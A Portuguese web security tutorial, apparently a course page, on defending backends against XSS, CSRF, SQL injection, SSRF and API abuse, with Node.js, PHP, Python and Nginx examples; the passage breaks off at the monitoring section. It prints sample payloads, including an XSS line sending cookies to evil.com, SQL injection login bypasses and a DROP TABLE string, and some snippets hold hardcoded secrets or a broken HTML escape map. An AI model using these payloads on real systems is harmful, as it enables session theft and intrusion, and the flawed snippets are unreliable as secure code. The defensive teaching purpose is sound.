Como Evitar Requisições Maliciosas - Segurança Backend (AE7)

Como Evitar Requisições Maliciosas do Frontend

Guia completo de segurança backend: proteção contra XSS, CSRF, SQL Injection e muito mais

Toda aplicação web está exposta a ataques via frontend. Hackers podem enviar requisições maliciosas para tentar invadir, manipular dados ou executar códigos não autorizados. Este documento mostrará 10 seções práticas, cada uma com insights visuais e cards de conhecimento, para criar um mapa mental de proteção robusto.

Começar a Aprender
10+
Seções Práticas
5
Tipos de Ataque
100%
Cobertura de Proteção
∞
Segurança Aplicável
security XSS Protection
shield_admin CSRF Tokens
dns Rate Limiting
verified_user Autenticação
storage Sanitização
Sidebar - Como Evitar Requisições Maliciosas
Seção 1 - Por que Proteger seu Backend | Segurança Web (AE7)

1. Introdução: Por que Proteger seu Backend

Imagine seu backend como um castelo e o frontend como a ponte de entrada. Se essa ponte não tiver guardas bem treinados, qualquer um consegue passar e causar danos.

warning
Fato Crítico: A maioria dos ataques web exploram vulnerabilidades no processamento de requisições. Sem proteção adequada, seu sistema está exposto a: roubo de dados, corrupção de informações, execução de código não autorizado e comprometimento da reputação.

info Por Que é Importante

Dados são Ouro

Seus usuários confiam que seus dados estarão seguros. Uma violação de segurança não afeta apenas a sua aplicação, mas também a privacidade e segurança de cada pessoa conectada.

Conformidade Legal

LGPD, GDPR e outras regulamentações exigem proteção de dados. Não cumprir essas normas pode resultar em multas pesadas e processos legais.

error Riscos Principais de Requisições Maliciosas

code

XSS - Injeção de Scripts

Hackers inserem código JavaScript malicioso que rouba sessões, cria keyloggers ou redireciona usuários.

block Alto Risco
person_off

CSRF - Requisição Falsificada

Um hacker força um usuário logado a executar ações sem seu consentimento (transferências, mudança de senha, etc).

block Alto Risco
storage

SQL Injection

Dados não validados permitem ao atacante executar comandos SQL arbitrários, comprometendo o banco de dados.

block Crítico

timeline Visualização Mental: Como um Ataque Chega Até Você

HACKER (Origem) │ ├─► Formulário HTML (Injetar payload malicioso) │ └─► <script>alert('XSS')</script> │ ├─► URL Query Parameter │ └─► ?user=admin'-- │ └─► Ferramenta Interceptadora (Burp Suite, Postman) └─► Modifica headers, payload, métodos HTTP │ ▼ FRONTEND (Sem proteção) │ (Nada bloqueia a requisição aqui!) │ ▼ BACKEND (Seu Sistema) ◄─── ALVO! │ ├─► Processa dado malicioso ├─► Executa comando não previsto ├─► Compromete banco de dados └─► Roubo de dados do usuário
lightbulb
Insight: Não importa quantas validações você faz no frontend — um hacker pode bypassar tudo isso usando ferramentas de interceptação. A verdadeira proteção deve estar SEMPRE no backend.
verified

O Princípio de Ouro da Segurança

"Nunca confie no frontend." Toda e qualquer entrada — independentemente de ter sido validada no navegador — deve ser validada, sanitizada e verificada novamente no backend antes de qualquer processamento.

arrow_forward O Que Vem a Seguir

Nas próximas 9 seções, você aprenderá:

  1. Entendendo requisições maliciosas – Tipos de ataque e como chegam até você
  2. Validação de inputs – Filtros por tipo, tamanho e formato
  3. Sanitização de dados – Remoção de scripts e comandos perigosos
  4. Proteção CSRF – Tokens únicos para autorização
  5. Rate limiting – Bloqueio de brute-force e DDoS
  6. Autenticação e autorização – Validação de permissões
  7. Proteção de APIs públicas – CORS e API Keys
  8. Monitoramento e logs – Detecção de padrões suspeitos
  9. Teste prático – Simule ataques em ambiente controlado
Seção 2 - Entendendo Requisições Maliciosas | Segurança Web (AE7)
2 warning

2. Entendendo Requisições Maliciosas

Antes de proteger, você precisa entender. Cada ataque tem um fluxo específico: o hacker envia algo que você não esperava. Se você consegue mapear esses fluxos na cabeça ou no papel, já consegue pensar em barreiras estratégicas.

shield_alert Principais Tipos de Ataque

code

XSS
Cross-Site Scripting

Injeção de código JavaScript que se executa no navegador da vítima.

<script>fetch('/steal?data='+document.cookie)</script>
person_off

CSRF
Cross-Site Request Forgery

Força um usuário logado a fazer requisições sem consentimento.

POST /transfer?to=hacker&amount=1000
storage

SQL Injection
Injeção de Banco de Dados

Insere comandos SQL maliciosos que comprometem o banco de dados.

email=admin'--&password=123
link

SSRF
Server-Side Request Forgery

Força o servidor a fazer requisições para endereços internos ou maliciosos.

url=http://localhost/admin

public Como Essas Requisições Chegam Até Você

Existem múltiplas entradas para um ataque chegar ao seu backend:

description

Formulários HTML

Campo de login, comentários, upload de arquivo — qualquer input é um ponto de entrada potencial.

block Muito Comum
link

URL Query Parameters

?user=admin&id=123 — parâmetros na URL podem ser facilmente manipulados.

block Frequente
settings

Headers HTTP

User-Agent, X-Forwarded-For, Authorization — headers customizados podem ser injetados.

block Moderado

timeline Fluxo Completo de um Ataque via Requisição Maliciosa

PASSO 1: RECONNAISSANCE Hacker estuda sua aplicação │ ├─► Mapeia os formulários ├─► Identifica parâmetros de URL ├─► Analisa headers esperados └─► Encontra campos "desprotegidos" │ ▼ PASSO 2: FERRAMENTA DE INTERCEPTAÇÃO Hacker usa Burp Suite, Postman, ou curl │ ├─► Intercepta requisições legítimas ├─► Modifica payload (HTML, JS, SQL) ├─► Adiciona/remove headers └─► Testa variações do ataque │ ▼ PASSO 3: ENVIO DA REQUISIÇÃO MALICIOSA Requisição sai do navegador ou ferramenta │ └─► Bypass das validações do frontend (facilmente) │ ▼ PASSO 4: BACKEND RECEBE Seu servidor processa a requisição │ └─► Se não validar novamente = COMPROMETIDO! │ ▼ RESULTADO Data exfiltration, unauthorized execution, system compromise

code Exemplos Práticos de Payloads

code Payload XSS

<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">
info
Rouba cookies e sessões do usuário

storage Payload SQL Injection

email=admin'-- & password=123
info
Bypassa autenticação modificando query SQL

checklist O Que Você Aprendeu Aqui

  • Hackers exploram múltiplos pontos de entrada (formulários, URLs, headers)
  • 5 tipos principais de ataque (XSS, CSRF, SQL Injection, SSRF, e mais)
  • Cada ataque segue um fluxo previsível que você pode mapear
  • O frontend pode ser bypassado facilmente com ferramentas certas
  • A verdadeira defesa está no backend — sempre
Seção 3 - Validação de Inputs | Segurança Web (AE7)
3 done_all

3. Validação de Inputs — Primeira Barreira

Nunca confie no frontend. Toda entrada deve passar por validações robustas antes de ser processada. Um dado inválido é a porta de entrada para exploração.

lightbulb
Mentalidade: Implemente validação em camadas. Tipo → Tamanho → Formato → Contexto específico.

filter_list Filtros em Camadas (Depth of Defense)

┌─────────────────────────────────────────────┐ │ ENTRADA DO USUÁRIO (Não Confiável) │ └────────────────┬────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────┐ │ CAMADA 1: Validação de TIPO │ │ É realmente um número? Uma string? │ │ Rejeita tipos incompatíveis │ └────────────────┬────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────┐ │ CAMADA 2: Validação de TAMANHO │ │ Limite de caracteres (min/max) │ │ Bloqueia payloads muito longos │ └────────────────┬────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────┐ │ CAMADA 3: Validação de FORMATO │ │ Regex, padrões (email, CPF, URL) │ │ Garante estrutura esperada │ └────────────────┬────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────┐ │ CAMADA 4: Validação de CONTEXTO │ │ Regras específicas do seu domínio │ │ Exemplo: Idade deve ser > 18 │ └────────────────┬────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────┐ │ BACKEND SEGURO (Dado validado) │ │ Pronto para processamento │ └─────────────────────────────────────────────┘

category Tipos de Validação Essenciais

text_fields

Validação de STRINGS

  • Comprimento: min 2, max 50 caracteres
  • Caracteres: Apenas letras e números
  • Rejeitar: Símbolos especiais perigosos
  • Trim: Remover espaços extras
Muito Comum
looks_one

Validação de NÚMEROS

  • Tipo: Integer, Float, Positivo
  • Range: Min e máximo permitidos
  • Formato: Sem caracteres alfabéticos
  • Overflow: Limitar valores extremos
Crítico
email

Validação de EMAIL

  • Formato: name@domain.com
  • Regex: /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/
  • Comprimento: Max 254 caracteres
  • DNS: Verificar se domínio existe (opcional)
Moderado
link

Validação de URLs

  • Protocolo: Apenas http/https
  • Whitelist: Domínios confiáveis apenas
  • Rejeitar: javascript:, data:, file://
  • SSRF: Nunca permita IP interno
Crítico

code Exemplos de Validação Prática

Node.js / Express

// Validar email const emailRegex = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/; const isValidEmail = (email) => { return emailRegex.test(email) && email.length <= 254; }; // Validar idade const isValidAge = (age) => { const num = parseInt(age, 10); return !isNaN(num) && num >= 0 && num <= 150; };

PHP

// Validar email nativo $email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL); if (!$email) { die("Email inválido"); } // Validar número $age = filter_var($_POST['age'], FILTER_VALIDATE_INT); if (!$age || $age < 0 || $age > 150) { die("Idade inválida"); }

error Erros Comuns ao Validar

X Confiar apenas no type="email"

HTML5 valida no navegador, mas um hacker pode contornar isso com ferramentas de interceptação.

Impacto: Dados inválidos chegam ao backend

X Permitir caracteres especiais demais

'; DROP TABLE users; -- pode ser injetado em campos que permitem tudo.

Impacto: SQL Injection possível

X Não limitar tamanho de entrada

Um atacante pode enviar megabytes de dados para causar DoS ou buffer overflow.

Impacto: Denial of Service (DoS)

X Não rejeitar por padrão

"Aceitar tudo a menos que..." é fraco. Melhor: "Rejeitar tudo a menos que..."

Impacto: Novas técnicas de ataque passam

verified_user Checklist: Validação Implementada Corretamente

  • Validar TIPO (número, string, boolean)
  • Validar TAMANHO (min e max)
  • Validar FORMATO (regex/padrão)
  • Validar CONTEÚDO (regras do negócio)
  • Rejeitar valores inesperados por padrão
  • Nunca confiar em validações do frontend
  • Logar tentativas inválidas para monitoramento
  • Retornar mensagens de erro genéricas (não revelar sistema)
Seção 4 - Sanitização de Dados | Segurança Web (AE7)
4 cleaning_services

4. Sanitização de Dados — Segunda Barreira

Após validar, você deve sanitizar. Limpeza de dados remove scripts, comandos e caracteres perigosos antes do armazenamento ou processamento. Isso impede ataques que passam por campos aparentemente inofensivos, como comentários ou inputs de pesquisa.

info
Diferença importante:
Validação: Rejeita dados inválidos
Sanitização: Limpa dados para removê-los perigosos

transform Fluxo de Sanitização

┌─────────────────────────────────────────────┐ │ ENTRADA (Potencialmente Maliciosa) │ │ "<script>alert('XSS')</script>" │ │ "admin'-- comentário" malicioso │ └────────────────┬────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────┐ │ SANITIZAÇÃO 1: Remove Tags HTML │ │ Resultado: "alert('XSS')" │ └────────────────┬────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────┐ │ SANITIZAÇÃO 2: Escape Caracteres Especiais │ │ Resultado: "alert('XSS')" │ └────────────────┬────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────┐ │ SANITIZAÇÃO 3: Normaliza Espaços │ │ Remove espaços extras, quebras de linha │ └────────────────┬────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────┐ │ DADOS LIMPOS E SEGUROS │ │ Pronto para armazenar ou exibir │ └─────────────────────────────────────────────┘

build Técnicas de Sanitização Essenciais

code

Remoção de HTML/Scripts

Remove tags HTML perigosas que poderiam executar código.

Entrada:
<p>Olá<script>alert(1)</script></p> Saída:
<p>Olá</p>
XSS Prevention
text_snippet

Escape de Caracteres

Converte caracteres especiais em entidades HTML seguras.

Entrada: < > & " ' Saída:
&lt; &gt; &amp; &quot; &#39;
Context-Aware
space_bar

Normalização de Espaços

Remove espaços desnecessários, quebras de linha e caracteres de controle.

Entrada:
" Olá mundo \n" Saída: "Olá mundo"
Cleanup
filter_alt

Remoção de Null Bytes

Remove caracteres \0 e \x00 que podem causar truncamento de strings.

Antes: "arquivo.txt\0.exe" Depois: "arquivo.txt.exe"
Injection Defense

code Implementações Práticas

JavaScript

// Remove tags HTML const sanitizeHTML = (str) => { const div = document.createElement('div'); div.textContent = str; return div.innerHTML; }; // Escape para HTML const escapeHTML = (str) => { const map = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }; return str.replace(/[&<>"']/g, m => map[m]); };

Python (Flask)

from markupsafe import escape # Escape para HTML safe_text = escape(user_input) # Remover tags HTML from bleach import clean safe_html = clean(user_input, tags=[], strip=True)

schedule Quando Sanitizar: Contextos Importantes

Caixa Ao Armazenar (Banco de Dados)

  • Remover caracteres de controle
  • Normalizar espaços
  • Garantir encoding correto
  • Usar prepared statements (SQL)

Olho Ao Exibir (HTML)

  • Escape HTML entities
  • Remover scripts
  • Context-aware encoding
  • Content Security Policy (CSP)

Engrenagem Ao Processar (Lógica)

  • Type casting (int, float)
  • Remover caracteres inválidos
  • Normalizar para padrão
  • Validar novamente após limpeza

example Exemplo Completo: Salvando Comentário de Usuário

Fluxo Seguro de Sanitização

// 1. VALIDAR const comment = req.body.comment; if (!comment || comment.length > 5000) { return res.status(400).json({error: "Inválido"}); } // 2. SANITIZAR const sanitized = sanitizeHTML(comment) .replace(/<script>/gi, '') .trim(); // 3. USAR PREPARED STATEMENT db.query( 'INSERT INTO comments (text) VALUES (?)', [sanitized] ); // 4. ESCAPAR AO EXIBIR const safeText = escapeHTML(comment); res.send(`<p>${safeText}</p>`);

X Erros Comuns em Sanitização

  • Sanitizar mas não validar: Dados maliciosos modificados podem passar
  • Sanitizar duas vezes: Pode corromper dados legítimos
  • Confiar em blacklist: Use whitelist (rejeitar tudo a menos que...)
  • Sanitizar apenas no frontend: SEMPRE faça no backend
  • Ignorar encoding: UTF-8 vs UTF-16 pode criar bypasses

task_alt Checklist: Sanitização Implementada

  • Validar dados antes de sanitizar
  • Remover tags HTML perigosas (<script>, <iframe>)
  • Escape de caracteres especiais (quando exibir em HTML)
  • Usar Prepared Statements para SQL
  • Normalizar espaços e quebras de linha
  • Remover caracteres de controle e null bytes
  • Escolher contexto correto (DB, HTML, URL, etc)
  • Logar tentativas de injeção suspeitas
Seção 5 - Proteção CSRF | Segurança Web (AE7)
5 vpn_key

5. Proteção CSRF — Validação de Autenticidade

CSRF (Cross-Site Request Forgery) explora a confiança do usuário logado. Um hacker força o navegador a fazer requisições em nome de quem está autenticado. A barreira mais prática é o token único por sessão.

warning
Cenário Real: Você está logado no seu banco. Acessa um site malicioso que, sem você saber, envia uma requisição: POST /bank.com/transfer?to=hacker&amount=1000. Como você está autenticado, a transferência vai!

security Como Funciona um Ataque CSRF

1. PREPARAÇÃO │ ├─► Hacker cria site malicioso: evil.com └─► Implanta código que envia requisição para: banco.com/transfer 2. ISCA │ ├─► Envia link para vítima: "Clique aqui para ganhar prêmio!" ├─► Vítima já está logada no banco.com └─► Vítima clica e visita evil.com 3. ATAQUE SILENCIOSO │ ├─► JavaScript em evil.com executa: │ <img src="https://banco.com/transfer?to=hacker&amount=1000"> │ └─► Navegador envia requisição COM cookies de autenticação! 4. DANO │ ├─► Banco recebe requisição "autorizada" ├─► Transferência é processada └─► Hacker roubou R$ 1.000 da vítima X

verified_user Defesa: CSRF Tokens

Um token CSRF é um valor aleatório, único por sessão que deve ser enviado em formulários. Como o hacker não tem acesso ao token, a requisição maliciosa é bloqueada.

Ok Como Funciona a Defesa

  • 1. Servidor gera token único
  • 2. Armazena em sessão
  • 3. Envia ao cliente em formulário
  • 4. Cliente retorna token em POST
  • 5. Servidor valida: Token bate?
  • 6. Sim: Processa requisição
  • 7. Não: Rejeita (403 Forbidden)

Shield Por Que o Token Funciona

Um hacker em evil.com não consegue ler o token do banco.com por causa da Same-Origin Policy do navegador.

Resultado:
Sem token = requisição rejeitada
Banco fica seguro! Ok

code Implementação Prática: CSRF Tokens

Node.js + Express

const session = require('express-session'); const csrf = require('csurf'); app.use(session({ secret: 'seu-secret-super-seguro', resave: false, saveUninitialized: true })); // Middleware CSRF const csrfProtection = csrf({ cookie: false }); // GET: Enviar formulário com token app.get('/transfer', csrfProtection, (req, res) => { res.send(` <form method="POST" action="/transfer"> <input type="hidden" name="_csrf" value="${req.csrfToken()}"> <input name="amount"> <button>Transferir</button> </form> `); }); // POST: Validar token app.post('/transfer', csrfProtection, (req, res) => { // Token foi validado automaticamente! const amount = req.body.amount; processTransfer(amount); res.send('OK'); });

PHP (Manual)

// Gerar token session_start(); if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } // Enviar em formulário <form method="POST"> <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>"> <input name="amount"> <button>Transferir</button> </form> // Validar no POST if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) { die('CSRF inválido'); } processTransfer($_POST['amount']);

timeline Fluxo Completo: Ataque CSRF vs Proteção

X SEM Proteção CSRF

Hacker: evil.com ↓ Envia: POST /bank/transfer ├─ amount=1000 ├─ to=hacker_account └─ Sem token CSRF ↓ Servidor recebe ├─ Cookie de auth válido ✓ └─ Requisição é feita ✗ ↓ COMPROMETIDO! Caveira

Ok COM Proteção CSRF

Hacker: evil.com ↓ Tenta: POST /bank/transfer ├─ amount=1000 ├─ to=hacker_account └─ _csrf=??? (não tem!) ↓ Servidor valida ├─ Cookie de auth ✓ ├─ Token CSRF ✗ └─ REJEITA ↓ SEGURO! Ok

settings Variações e Considerações

SameSite Cookies

Restringe envio de cookies em requisições cross-site.

Set-Cookie: auth=xyz; SameSite=Strict;

Double Submit Pattern

Compara token em cookie com token em formulário.

Cookies: csrf=abc123 POST: _csrf=abc123 Ok Match = OK

Custom Headers

Token em header customizado (não enviado automaticamente).

X-CSRF-Token: xyz123 (requer JS para ler)

X Erros Comuns em Proteção CSRF

  • Token previsível: Use random bytes, não incrementos
  • Mesmo token por dias: Regenere após login/logout
  • Não validar GET/DELETE: Qualquer método pode ter CSRF
  • Esquecer APIs AJAX: JSON requests também precisam
  • Armazenar token em localStorage: XSS o rouba, use httpOnly cookie

verified Checklist: Proteção CSRF Implementada

  • Gerar token aleatório e único por sessão
  • Armazenar token de forma segura (sessão/cookie httpOnly)
  • Incluir token em todos os formulários
  • Validar token ANTES de qualquer ação
  • Usar httpOnly cookies para armazenar token
  • Regenerar token após login/logout
  • Proteger API AJAX com headers customizados
  • Combinar com SameSite cookies para defesa em camadas
Seção 6 - Rate Limiting | Segurança Web (AE7)
6 schedule

6. Rate Limiting — Bloqueio de Ataques Automatizados

Rate limiting controla quantas requisições um cliente pode fazer em um período. Previne brute-force, DDoS e exploração de recursos. Imagine um contador acima da porta do seu castelo: cada requisição diminui o "crédito" do visitante.

lightbulb
Metáfora: Um castelo só permite 10 visitantes por hora. Se alguém tenta entrar 11 vezes, é bloqueado na porta. Simples, mas efetivo.

category Tipos de Rate Limiting

public

Por IP Address

Limita requisições por endereço IP. Melhor defesa contra brute-force.

Exemplo:
IP 192.168.1.1: 100 req/min
Requisição 101: BLOQUEADA
person

Por Usuário

Limita por ID de usuário logado. Protege contra abuso por usuários autenticados.

Exemplo:
user_id=123: 1000 req/hora
Requisição 1001: BLOQUEADA
router

Por Endpoint

Regras diferentes para endpoints sensíveis (login, payment, etc).

Exemplo:
POST /login: 5 req/min
POST /transfer: 10 req/hora
vpn_key

Por API Key

Diferentes limites para diferentes clientes de API.

Exemplo:
API Key Free: 100 req/dia
API Key Pro: 10000 req/dia

code Implementação Prática

Express.js

const rateLimit = require('express-rate-limit'); // Limita login: 5 req por 15 min const loginLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 5, message: 'Muitas tentativas, tente depois' }); app.post('/login', loginLimiter, (req, res) => { // Processa login }); // Limita API: 100 req por min const apiLimiter = rateLimit({ windowMs: 60 * 1000, max: 100, keyGenerator: (req) => req.headers['x-api-key'] }); app.use('/api/', apiLimiter);

Nginx

# Limita por IP limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m; limit_req_zone $binary_remote_addr zone=api:10m rate=100r/m; server { # Login: máx 5 req/min location /login { limit_req zone=login burst=10; } # API: máx 100 req/min location /api/ { limit_req zone=api burst=20; } }

timeline Fluxo de Rate Limiting

REQUISIÇÃO ENTRA │ ├─► Identifica cliente (IP, User ID, ou API Key) │ ├─► Consulta: Quantas reqs este cliente fez? │ ├─ Armazenado em Redis │ ├─ ou Banco de dados │ └─ ou Memória (menos escalável) │ ├─► Se < limite: │ ├─ Ok PERMITIR │ ├─ Incrementar contador │ └─ Processar requisição │ └─► Se ≥ limite: ├─ X BLOQUEAR (429 Too Many Requests) ├─ Responder com Retry-After └─ Logar tentativa suspeita

strategy Estratégias de Rate Limiting

Token Bucket

Cliente tem "tokens" que diminuem com requisições. Tokens são regenerados periodicamente.

Mais flexível

Sliding Window

Janela móvel que se adapta ao tempo real. Mais preciso que fixed window.

Recomendado

Fixed Window

Período fixo (minuto, hora). Simples mas pode ter edge cases.

Simples

task_alt Checklist: Rate Limiting Implementado

  • Implementar limite por IP em endpoints públicos
  • Limite mais restritivo em /login (/register)
  • Limite moderado em APIs gerais
  • Usar Redis ou cache para performance
  • Retornar 429 Too Many Requests quando bloqueado
  • Incluir header Retry-After na resposta
  • Logar tentativas suspeitas para análise
  • Testar comportamento em carga alta
Seção 7 - Autenticação e Autorização | Segurança Web (AE7)
7 admin_panel_settings

7. Autenticação e Autorização — Controle de Acesso

Autenticação é provar quem você é. Autorização é o que você pode fazer. Um guarda na porta do castelo: "Você é realmente o duque? Ok Vem! Mas você não pode entrar no tesouro. X".

security
Confusão Comum: Muitos confundem auth com authz. Auth = identidade. Authz = permissão. Ambas são críticas!

difference Auth vs AuthZ

Chave Autenticação

Pergunta: Quem você é?

  • Validar credenciais (senha, token, biometria)
  • Confirmar identidade do usuário
  • Criar sessão/token após validação
  • Exemplos: Login, OAuth, 2FA

Porta Autorização

Pergunta: Você pode fazer isso?

  • Validar permissões do usuário
  • Verificar roles (admin, user, guest)
  • Controlar acesso a recursos
  • Exemplos: RBAC, ABAC, ACL

login Fluxo Completo: Login até Ação Autorizada

1. AUTENTICAÇÃO │ ├─► Usuário entra credenciais (email + senha) ├─► Servidor hash da senha no BD ├─► Compara: hash(input) === hash(BD)? │ ├─ SIM: Cria token/sessão Ok │ └─ NÃO: Rejeita X │ 2. TOKEN GERADO │ ├─► JWT ou Session ID ├─► Validade definida └─► Retorna ao cliente │ 3. AUTORIZAÇÃO │ ├─► Usuário tenta ação: DELETE /users/5 ├─► Servidor valida token ├─► Verifica role: user pode deletar? │ ├─ ADMIN: Ok PERMITIR │ ├─ USER: X NEGAR (403) │ └─ GUEST: X NEGAR (401) │ 4. AÇÃO EXECUTADA (ou bloqueada)

policy Métodos de Autenticação

Basic Auth

Base64 de user:password em cada requisição.

Authorization: Basic dXNlckBhZW6uY29tOnBhc3N3b3Jk
X Não usar em HTTP

Session Cookie

Servidor armazena dados, cookie tem ID da sessão.

Set-Cookie: sessionId=xyz123; httpOnly; secure; SameSite=Strict
Ok Web apps

JWT Token

Token com dados dentro (stateless). Não precisa BD para validar.

Authorization: Bearer eyJhbGc...nBlY
Ok APIs

OAuth 2.0

Autenticação delegada (Google, GitHub login).

1. Redireciona para Google 2. Google autoriza 3. Volta com código 4. Troca por token
Ok Social login

code Implementação: JWT em Node.js

Express.js + JWT

const jwt = require('jsonwebtoken'); // 1. LOGIN - Gerar JWT app.post('/login', (req, res) => { const user = { id: 1, email: 'user@ae7.com' }; const token = jwt.sign( user, 'seu-secret-super-seguro', { expiresIn: '1h' } ); res.json({ token }); }); // 2. Middleware - Validar JWT const verifyToken = (req, res, next) => { const token = req.headers['authorization'] ?.split(' ')[1]; if (!token) { return res.status(401) .send('Token não fornecido'); } jwt.verify( token, 'seu-secret-super-seguro', (err, decoded) => { if (err) { return res.status(403) .send('Token inválido'); } req.user = decoded; next(); } ); }; // 3. ROTA PROTEGIDA app.get('/profile', verifyToken, (req, res) => { res.json({ message: 'Perfil privado', user: req.user }); });

assignment_ind Autorização: RBAC (Role-Based Access Control)

coroa Admin

  • Ver todos usuários
  • Deletar usuários
  • Editar configurações
  • Ver logs
  • Gerenciar roles

user User

  • Ver seu perfil
  • Editar dados próprios
  • Fazer compras
  • Ver histórico

group Guest

  • Ver públicos
  • Fazer logout
  • Enviar email suporte

security Implementação RBAC

Middleware de Autorização

// Middleware para checar role const authorize = (allowedRoles) => { return (req, res, next) => { if (!req.user) { return res.status(401) .send('Não autenticado'); } if (!allowedRoles.includes(req.user.role)) { return res.status(403) .send('Acesso negado'); } next(); }; }; // Uso: // Ver todos usuários (admin) app.get('/users', verifyToken, authorize(['admin']), (req, res) => { res.json(allUsers); }); // Deletar usuário (admin) app.delete('/users/:id', verifyToken, authorize(['admin']), (req, res) => { deleteUser(req.params.id); res.send('Usuário deletado'); }); // Ver perfil (user ou admin) app.get('/profile', verifyToken, authorize(['user', 'admin']), (req, res) => { res.json(req.user); });

task_alt Checklist: Auth Segura

  • Sempre usar HTTPS para tráfego de credenciais
  • Hash de senhas com bcrypt/argon2 (não MD5!)
  • Nunca armazenar senha em plain text
  • Tokens com expiração (não infinitos)
  • Usar httpOnly + Secure + SameSite em cookies
  • Implementar refresh tokens para renovação
  • Validar sempre antes de qualquer ação
  • Log de falhas de autenticação para monitorar ataques
Seção 8 - Proteção de APIs Públicas | Segurança Web (AE7)
8 api

8. Proteção de APIs Públicas — Controle de Acesso Externo

APIs públicas são portas abertas para o mundo. Se não protegidas, qualquer um consegue abusar: scraping em massa, acesso a dados sensíveis, ou simplesmente derrubar o servidor. A proteção combina autenticação + rate limiting + CORS.

warning
Cenário Real: Em 2021, uma falha na API do Facebook expôs dados de milhões de usuários. Hackers exploraram a vulnerabilidade, causando um vazamento massivo. A empresa foi multada em bilhões. RIP. 🪦

public CORS (Cross-Origin Resource Sharing)

CORS controla qual origem (domínio) pode acessar sua API. Sem ele, qualquer site malicioso consegue fazer requisições em nome do usuário.

REQUISIÇÃO SEM CORS │ ├─► Site: evil.com ├─► Tenta acessar: api.ae7.com/users └─► Browser bloqueia X (SOP - Same-Origin Policy) COM CORS CONFIGURADO │ ├─► Site: trusted.com ├─► Header: Origin: https://trusted.com ├─► Servidor responde: Access-Control-Allow-Origin: trusted.com └─► Browser permite Ok CORS PERMISSIVO (PERIGOSO!) │ ├─► Servidor: Access-Control-Allow-Origin: * ├─► Qualquer site consegue acessar └─► X NUNCA use * em APIs privadas!

code Implementação CORS

Express.js

const cors = require('cors'); // Opção 1: Apenas trusted.com app.use(cors({ origin: 'https://trusted.com', credentials: true, optionsSuccessStatus: 200 })); // Opção 2: Array de origens const whitelist = [ 'https://trusted.com', 'https://app.ae7.com' ]; app.use(cors({ origin: (origin, callback) => { if (whitelist.includes(origin)) { callback(null, true); } else { callback( new Error('CORS blocked') ); } } }));

Nginx

server { location /api/ { # Apenas trusted.com if ($http_origin = 'https://trusted.com') { add_header 'Access-Control-Allow-Origin' 'https://trusted.com'; } add_header 'Access-Control-Allow-Methods' 'GET, POST, PUT, DELETE'; add_header 'Access-Control-Allow-Headers' 'Content-Type, Authorization'; } }

vpn_key API Keys — Autenticação Simples

Cada cliente de API recebe uma chave única para se autenticar. Simples mas poderosa.

anotação Como Funciona

  • Gera chave única (UUID/Random)
  • Armazena no BD com cliente
  • Cliente envia em cada request
  • Servidor valida e registra uso
  • Limita requisições por chave

Upload 3 Formas de Enviar

// Header (Recomendado) X-API-Key: abc123xyz // Query String /api/users?api_key=abc123xyz // Body (POST) { "api_key": "abc123xyz" }

shield Proteção em Camadas: API Pública Segura

CAMADA 1: CORS │ ├─► Browser valida Origin ├─► Apenas origins aprovadas └─► Bloqueia requisições cross-site Ok CAMADA 2: API KEY │ ├─► Cliente envia X-API-Key ├─► Servidor valida chave └─► Identifica qual cliente Ok CAMADA 3: RATE LIMITING │ ├─► Limita requisições por API Key ├─► Ex: 1000 req/dia por chave └─► Previne abuso Ok CAMADA 4: VALIDAÇÃO │ ├─► Valida input do request ├─► Sanitiza dados └─► Previne injection Ok CAMADA 5: LOGGING │ ├─► Registra cada request ├─► Monitora padrões suspeitos └─► Permite detecção de ataques Ok

build Implementação Completa

API Segura com Todas as Camadas

const express = require('express'); const cors = require('cors'); const rateLimit = require('express-rate-limit'); const app = express(); // 1. CORS const corsOptions = { origin: ['https://trusted.com', 'https://app.ae7.com'], credentials: true }; app.use(cors(corsOptions)); // 2. Middleware: Validar API Key const validateAPIKey = (req, res, next) => { const apiKey = req.headers['x-api-key']; if (!apiKey) { return res.status(401) .json({ error: 'API Key required' }); } const client = db.findByApiKey(apiKey); if (!client) { return res.status(403) .json({ error: 'Invalid API Key' }); } req.client = client; next(); }; // 3. Rate Limiting por API Key const apiLimiter = rateLimit({ windowMs: 24 * 60 * 60 * 1000, // 1 dia max: (req) => req.client.plan.limit, keyGenerator: (req) => req.headers['x-api-key'], message: 'Limite de requisições atingido' }); // 4. Logging app.use((req, res, next) => { const log = { method: req.method, path: req.path, apiKey: req.headers['x-api-key'], ip: req.ip, timestamp: new Date(), status: res.statusCode }; db.saveLogs(log); next(); }); // 5. Rota Protegida app.get('/api/users', validateAPIKey, apiLimiter, (req, res) => { // Todas as camadas passaram! res.json({ users: getAllUsers() }); } );

update Versionamento de APIs

URL Path

Versão na URL:

/api/v1/users
/api/v2/users
Claro

Header

Versão em header HTTP:

Accept: application/ vnd.ae7+json; version=2
RESTful

Query String

Versão em parâmetro:

/api/users?version=2
Simples

verified Checklist: API Pública Segura

  • Configurar CORS com whitelist específica (nunca *)
  • Implementar autenticação com API Key
  • Rate limiting por cliente e por endpoint
  • Validar todos os inputs da API
  • Usar HTTPS obrigatoriamente
  • Versionar a API desde o início
  • Logar todas as requisições para auditoria
  • Documentar endpoints e limites com Swagger/OpenAPI
Seção 9 - Monitoramento e Logs | Segurança Web (AE7)
9 monitoring

9. Monitoramento e Logs — Detecção de Ataques em Tempo Real

Defesas são ótimas, mas detecção é crucial. Se um hacker consegue passar pelas barreiras, você precisa saber IMEDIATAMENTE. Logs são o histórico de tudo que acontece. Monitoramento é ler logs em tempo real e alertar.

info
